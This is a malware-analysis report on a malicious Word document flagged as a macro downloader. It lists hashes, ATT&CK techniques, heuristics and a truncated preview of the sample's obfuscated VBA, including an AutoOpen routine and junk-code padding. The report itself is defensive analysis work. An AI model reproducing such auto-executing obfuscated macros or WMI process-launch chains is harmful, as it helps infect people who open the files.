Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 033fa72fe48a853b…

MALICIOUS

Office (OLE)

182.8 KB Created: 2019-04-16 14:01:00 Authoring application: Microsoft Office Word First seen: 2019-05-10
MD5: dec7cb97d4206733170a40ea5529869f SHA-1: ce869c76189a4b624265b902a028d0ac53d27feb SHA-256: 033fa72fe48a853b99e41ed7467c1ccc488d5abe69dff887b8a6b7b2c5a5452f
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The presence of an AutoOpen macro and the use of GetObject combined with WMI Win32_Process creation strongly indicate an attempt to execute arbitrary code. This is further supported by ClamAV's detection of a "Doc.Downloader" type. The macro's obfuscated nature prevents a definitive analysis of its exact payload, but the overall pattern suggests it is designed to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.00536d-6941907-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6941907-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 32269 bytes
SHA-256: 288a7c394a945cca73fb2a5f80489a133a4cb381240f6fe8ae630ef1bf76515b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "NGDGxQ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "S_AACXQD"
Attribute VB_Base = "0{70959F31-593E-412A-9A0A-39C4C314EA6D}{6640755B-1874-4CD3-A1C7-B1D09AB67CC9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "vcA4ABAQ"
Attribute VB_Base = "0{AECFE2FD-10A3-437B-96D2-F1210DFA7F95}{BB34A576-4813-4113-81DE-246BC69781BB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "MZAACA"
Sub autoopen()
   If kAUAQ_AB = QXAAAAx Then
      Select Case jDBU_wDU
         Case 226449590
            WAB41AA = Rnd(rAAAAAAD + 677670062 + 2798646 / vwCAkACU)
            CADxX4 = CByte(pBDoAAXQ + 234393663 + lUwUZQAA + 868441809)
         Case 156554485
            wwAGAUk = LAXBBAXA
            AkAcUAA = Tan(NcAUU_A - CSng(LxAkDA))
      End Select
End If
   If rkQAZwAA = pAZAAAZ Then
      Select Case kA4ACA
         Case 80623455
            LBDDBk = Rnd(uAQDAA + 946247038 + 94711518 / dZAwAAU)
            NC4XAAAU = CByte(kDDcAQX + 578789574 + FAAUwZAD + 11133948)
         Case 433685152
            XDDAAkk = hAGQAXZ1
            s4AA4o = Tan(vkAUAQAA - CSng(IwA__x_B))
      End Select
End If
   If LxQDoAQQ = kQBAXAB Then
      Select Case zCQAoc
         Case 906699795
            qU4AoUB = Rnd(wAGXUQ + 675552437 + 571895460 / PUACAA)
            WkADcAkC = CByte(ooAZ1Q4A + 637281627 + Nw1DAXC + 777502892)
         Case 438121677
            QBAQwoG = WUAAUC
            OAD4Q1X = Tan(kAAXAGQ - CSng(RAQQUUw))
      End Select
End If
uBAGcC
   If qAXc1B = zQAAxDA Then
      Select Case wQXAXBAA
         Case 612525908
            vBC4XC = Rnd(zA_1A4Xc + 251468979 + 164549338 / H1AA_4B)
            nAGQABD4 = CByte(DX1DX_Z + 473168191 + tXDUwC + 632693492)
         Case 139213862
            iDQQXA = YxADwQB
            vwGCkQ4A = Tan(wQACwAo - CSng(jQA1UccQ))
      End Select
End If
   If ICocAA = YoAD4Ak Then
      Select Case w4DCAAA
         Case 337117213
            fAAAUA = Rnd(WAABCX + 680197576 + 909755657 / nUAUA4)
            pAA4AGA = CByte(hUBAXDx + 697198569 + TGA1AA + 591693543)
         Case 573806582
            JB_Z1kA = w4w_GxZD
            fQUA_AA = Tan(iXADADDQ - CSng(nDAQoD))
      End Select
End If
End Sub

Attribute VB_Name = "iBADUAkX"
Function uBAGcC()
On Error Resume Next
   If jQAcAU = sABGBADZ Then
      Select Case Fx1AQAxC
         Case 411757465
            NDBZ1_A = Rnd(nXAABUD + 952478814 + 254718867 / OAxxXADQ)
            Q1QZ4o1A = CByte(wBGXAAD + 433126122 + DGQQAZA + 546119096)
         Case 280958406
            TkQAAw = ZAQGAx
            rkCGAU = Tan(hQADDQAo - CSng(dUkAxxC))
      End Select
End If
   If jXDcQUA = XAAcX4QA Then
      Select Case nAQwAAAA
         Case 490152013
            j4BwCA4A = Rnd(zAAoAGZ + 748850684 + 32846237 / bxAAkCQ)
            MBcxQB = CByte(LCAAU1QA + 622645831 + YAA_UDA + 569507069)
         Case 647274870
            iDQcUAAo = RAQDAA
            HAZ4BUXA = Tan(i41GBU1 - CSng(Uo4cAw))
      End Select
End If
If 1337 < 24328 Then
zDAAA4 = vbFalse
   If fkD1cCDB = HAGAA1oB Then
      Select Case DQAckQU_
         Case 267900430
            nAAUkB = Rnd(LCZBo_B + 654686259 + 33754147 / sAxkGA)
            H_Ao1A = CByte(kZUXABk + 236626823 + zQZ1oGU + 42840483)
         Case 779844403
            v_AGAXxc = bADAAA
            PAQwkDU4 = Tan(iZAAkAQ - CSng(bUDkAB))
      End Select
End If
   If oBZkXQ1_ = hGC4BoB Then
      Select Case uAA_UQZ
         Case 886016921
         
... (truncated)

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